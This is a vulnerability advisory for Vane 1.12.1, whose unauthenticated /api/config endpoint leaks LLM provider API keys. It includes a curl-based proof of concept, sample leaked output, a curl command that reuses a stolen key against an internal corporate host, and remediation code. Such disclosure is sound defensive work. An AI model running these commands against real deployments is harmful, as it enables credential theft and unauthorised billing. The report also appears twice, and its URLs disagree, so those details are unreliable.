CVE Report: API Key Exposure via Unauthenticated Configuration Endpoint
1. Summary
| Field |
Details |
| Product |
Vane (ItzCrazyKns/Vane) |
| Version |
1.12.1 |
| Component |
Configuration API (GET /api/config) |
| Vulnerability |
Exposure of Sensitive Information to an Unauthorized Actor |
| CWE |
CWE-200 |
| CVSS 3.1 Score |
7.5 High |
| CVSS 3.1 Vector |
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Authentication |
None required |
| Tech Stack |
Next.js 16 / TypeScript / SQLite / Node.js |
| License |
MIT |
2. Description
Vane version 1.12.1 exposes an unauthenticated HTTP endpoint at GET /api/config that returns the application's complete configuration object, including all configured LLM provider API keys in plaintext. The endpoint performs no authentication, no authorization checks, and no field-level redaction of sensitive values before serializing the response.
Any network-adjacent or remote attacker capable of reaching the Vane service port (default: 3001) can retrieve every API key configured in the system with a single HTTP request. This includes keys for OpenAI, Anthropic, Google Gemini, Groq, Ollama, and any other model provider configured by the operator, as well as internal infrastructure URLs that may reveal organizational network topology.
3. Affected Files
3.1. src/app/api/config/route.ts (lines 11-43)
The GET handler retrieves the full configuration via configManager.getCurrentConfig() and returns it directly to the client with no filtering or masking:
export const GET = async (req: NextRequest) => {
try {
const values = configManager.getCurrentConfig();
const fields = configManager.getUIConfigSections();
const modelRegistry = new ModelRegistry();
const modelProviders = await modelRegistry.getActiveProviders();
values.modelProviders = values.modelProviders.map(
(mp: ConfigModelProvider) => {
const activeProvider = modelProviders.find((p) => p.id === mp.id);
return {
...mp,
chatModels: activeProvider?.chatModels ?? mp.chatModels,
embeddingModels:
activeProvider?.embeddingModels ?? mp.embeddingModels,
};
},
);
return NextResponse.json({
values,
fields,
});
} catch (err) {
console.error('Error in getting config: ', err);
return Response.json(
{ message: 'An error has occurred.' },
{ status: 500 },
);
}
};
Key observations:
- No authentication middleware or token validation is applied to this route.
- The
values object is returned as-is. The spread operator (...mp) copies every property from each ConfigModelProvider, including the config map that holds API keys.
3.2. src/lib/config/index.ts (lines 8-10, 128-133, 383-385)
Configuration is stored in a plaintext JSON file and returned without redaction:
// Lines 8-10: Config file path
configPath: string = path.join(
process.env.DATA_DIR || process.cwd(),
'/data/config.json',
);
// Lines 128-133: Config persisted as plaintext JSON
private saveConfig() {
fs.writeFileSync(
this.configPath,
JSON.stringify(this.currentConfig, null, 2),
);
}
// Lines 383-385: Deep copy returned with no redaction
public getCurrentConfig(): Config {
return JSON.parse(JSON.stringify(this.currentConfig));
}
The getCurrentConfig() method performs a deep clone via JSON.parse(JSON.stringify(...)) but applies no filtering, masking, or removal of sensitive fields. The full modelProviders[].config object -- containing apiKey, baseURL, and other secrets -- is included in the returned copy.
3.3. src/lib/config/types.ts (lines 53-61)
The ConfigModelProvider type defines the config field as an unconstrained dictionary, which is the container for API keys:
type ConfigModelProvider = {
id: string;
name: string;
type: string;
chatModels: Model[];
embeddingModels: Model[];
config: { [key: string]: any }; // <-- holds apiKey, baseURL, etc.
hash: string;
};
4. Attack Flow
Attacker Vane Server
| |
| GET /api/config |
| (no auth headers required) |
| ----------------------------------> |
| |
| route.ts GET handler |
| calls getCurrentConfig() |
| |
| ConfigManager returns |
| deep copy of full config |
| (no field redaction) |
| |
| 200 OK |
| { values: { modelProviders: [ |
| { config: { apiKey: "..." } } |
| ] } } |
| <---------------------------------- |
| |
| Attacker extracts API keys |
| from response body |
- Attacker sends an unauthenticated
GET request to /api/config.
- The Next.js route handler invokes
configManager.getCurrentConfig().
getCurrentConfig() returns a deep clone of the entire currentConfig object, including all modelProviders entries.
- Each provider's
config map (containing apiKey, baseURL, and other sensitive fields) is serialized into the JSON response.
- The response is returned to the attacker with HTTP 200.
- Attacker parses the JSON and extracts all API keys and infrastructure URLs.
5. Proof of Concept
5.1. Exploit Command
$ curl -s http://localhost:3001/api/config | python3 -c "
import sys, json
c = json.load(sys.stdin)
for p in c['values']['modelProviders']:
print(f'{p[\"name\"]}: {p[\"config\"]}')
"
5.2. Observed Output (from live instance)
OpenAI: {'apiKey': '123123123',
'baseURL': 'https://aiplatform.123.com/chat/completions'}
Ollama: {'baseURL': 'http://host.docker.internal:11434'}
The response disclosed:
- A valid OpenAI-compatible API key in plaintext.
- An internal corporate URL (
aiplatform.dev51.cbf.dev.paypalinc.com) revealing organizational infrastructure.
- Complete Ollama provider configuration including internal Docker networking details.
- All other configured provider entries with their full configuration maps.
5.3. Additional Attack Vectors
With extracted API keys, an attacker can:
# Use stolen key to make API calls billed to the victim
$ curl https://aiplatform.dev51.cbf.dev.paypalinc.com/chat/completions \
-H "Authorization: Bearer 123123123" \
-H "Content-Type: application/json" \
-d '{"model":"gpt-4","messages":[{"role":"user","content":"test"}]}'
6. Impact Assessment
| Impact Area |
Severity |
Description |
| API Key Theft |
Critical |
All configured LLM provider API keys (OpenAI, Anthropic, Groq, etc.) are exposed. Attackers can impersonate the organization and consume paid API quotas. |
| Financial Loss |
High |
Stolen API keys can be used to generate unbounded LLM usage costs billed to the victim. |
| Internal Infrastructure Exposure |
High |
Internal corporate URLs and network topology details are leaked (e.g., internal hostnames, Docker networking). |
| Lateral Movement |
Medium |
Exposed internal URLs may serve as a foothold for further reconnaissance or attacks against internal services. |
| Credential Reuse |
Medium |
API keys may be reused across services; compromise of one key may grant access to additional systems. |
| Regulatory / Compliance |
Medium |
Uncontrolled exposure of credentials may violate PCI-DSS, SOC 2, or organizational security policies. |
7. Root Cause Analysis
The vulnerability arises from the convergence of three design flaws:
-
No authentication on the configuration endpoint. The GET /api/config route handler in src/app/api/config/route.ts does not enforce any authentication or authorization. There is no middleware, session check, API token validation, or IP allowlist protecting the endpoint.
-
No field-level redaction of sensitive data. The getCurrentConfig() method in src/lib/config/index.ts returns the full configuration object as a deep copy without removing or masking sensitive fields such as apiKey. The type system (ConfigModelProvider.config: { [key: string]: any }) provides no structural distinction between public and secret configuration values.
-
Plaintext storage of secrets. API keys are stored in data/config.json as plaintext strings alongside non-sensitive configuration. There is no encryption at rest, no use of environment-variable-only secrets, and no vault integration. This amplifies the impact: the on-disk file is also a target.
8. Remediation Recommendations
8.1. Immediate Mitigations (Short-term)
- Redact sensitive fields before returning configuration to clients. Create a sanitization function that strips or masks all
apiKey values and other secrets from the response:
function redactConfig(config: Config): Config {
const redacted = JSON.parse(JSON.stringify(config));
redacted.modelProviders = redacted.modelProviders.map(
(mp: ConfigModelProvider) => ({
...mp,
config: Object.fromEntries(
Object.entries(mp.config).map(([key, value]) => [
key,
key.toLowerCase().includes('key') || key.toLowerCase().includes('secret')
? (typeof value === 'string' && value.length > 0
? value.slice(0, 4) + '****'
: '')
: value,
]),
),
}),
);
return redacted;
}
-
Add authentication middleware to the /api/config route. At minimum, require a session token or shared secret before serving configuration data.
-
Restrict network access. If Vane is not intended to be publicly accessible, bind the service to 127.0.0.1 or place it behind an authenticated reverse proxy.
8.2. Long-term Fixes
-
Separate public and private configuration. Introduce distinct data structures for client-visible settings (theme, preferences) and server-only secrets (API keys, internal URLs). Never serialize server-only fields into API responses.
-
Encrypt secrets at rest. Replace plaintext storage in data/config.json with encrypted values or integrate a secrets manager (e.g., environment variables, HashiCorp Vault, AWS Secrets Manager).
-
Type-level enforcement. Annotate configuration fields with a sensitive: boolean flag in the type system so that serialization logic can automatically redact marked fields.
-
Audit the POST /api/config endpoint. The same route file contains an unauthenticated POST handler (lines 45-77) that allows arbitrary configuration updates, which is a separate but related vulnerability (configuration tampering).
9. References
CVE Report: API Key Exposure via Unauthenticated Configuration Endpoint
1. Summary
GET /api/config)2. Description
Vane version 1.12.1 exposes an unauthenticated HTTP endpoint at
GET /api/configthat returns the application's complete configuration object, including all configured LLM provider API keys in plaintext. The endpoint performs no authentication, no authorization checks, and no field-level redaction of sensitive values before serializing the response.Any network-adjacent or remote attacker capable of reaching the Vane service port (default: 3001) can retrieve every API key configured in the system with a single HTTP request. This includes keys for OpenAI, Anthropic, Google Gemini, Groq, Ollama, and any other model provider configured by the operator, as well as internal infrastructure URLs that may reveal organizational network topology.
3. Affected Files
3.1.
src/app/api/config/route.ts(lines 11-43)The
GEThandler retrieves the full configuration viaconfigManager.getCurrentConfig()and returns it directly to the client with no filtering or masking:Key observations:
valuesobject is returned as-is. The spread operator (...mp) copies every property from eachConfigModelProvider, including theconfigmap that holds API keys.3.2.
src/lib/config/index.ts(lines 8-10, 128-133, 383-385)Configuration is stored in a plaintext JSON file and returned without redaction:
The
getCurrentConfig()method performs a deep clone viaJSON.parse(JSON.stringify(...))but applies no filtering, masking, or removal of sensitive fields. The fullmodelProviders[].configobject -- containingapiKey,baseURL, and other secrets -- is included in the returned copy.3.3.
src/lib/config/types.ts(lines 53-61)The
ConfigModelProvidertype defines theconfigfield as an unconstrained dictionary, which is the container for API keys:4. Attack Flow
GETrequest to/api/config.configManager.getCurrentConfig().getCurrentConfig()returns a deep clone of the entirecurrentConfigobject, including allmodelProvidersentries.configmap (containingapiKey,baseURL, and other sensitive fields) is serialized into the JSON response.5. Proof of Concept
5.1. Exploit Command
5.2. Observed Output (from live instance)
The response disclosed:
aiplatform.dev51.cbf.dev.paypalinc.com) revealing organizational infrastructure.5.3. Additional Attack Vectors
With extracted API keys, an attacker can:
6. Impact Assessment
7. Root Cause Analysis
The vulnerability arises from the convergence of three design flaws:
No authentication on the configuration endpoint. The
GET /api/configroute handler insrc/app/api/config/route.tsdoes not enforce any authentication or authorization. There is no middleware, session check, API token validation, or IP allowlist protecting the endpoint.No field-level redaction of sensitive data. The
getCurrentConfig()method insrc/lib/config/index.tsreturns the full configuration object as a deep copy without removing or masking sensitive fields such asapiKey. The type system (ConfigModelProvider.config: { [key: string]: any }) provides no structural distinction between public and secret configuration values.Plaintext storage of secrets. API keys are stored in
data/config.jsonas plaintext strings alongside non-sensitive configuration. There is no encryption at rest, no use of environment-variable-only secrets, and no vault integration. This amplifies the impact: the on-disk file is also a target.8. Remediation Recommendations
8.1. Immediate Mitigations (Short-term)
apiKeyvalues and other secrets from the response:Add authentication middleware to the
/api/configroute. At minimum, require a session token or shared secret before serving configuration data.Restrict network access. If Vane is not intended to be publicly accessible, bind the service to
127.0.0.1or place it behind an authenticated reverse proxy.8.2. Long-term Fixes
Separate public and private configuration. Introduce distinct data structures for client-visible settings (theme, preferences) and server-only secrets (API keys, internal URLs). Never serialize server-only fields into API responses.
Encrypt secrets at rest. Replace plaintext storage in
data/config.jsonwith encrypted values or integrate a secrets manager (e.g., environment variables, HashiCorp Vault, AWS Secrets Manager).Type-level enforcement. Annotate configuration fields with a
sensitive: booleanflag in the type system so that serialization logic can automatically redact marked fields.Audit the
POST /api/configendpoint. The same route file contains an unauthenticatedPOSThandler (lines 45-77) that allows arbitrary configuration updates, which is a separate but related vulnerability (configuration tampering).9. References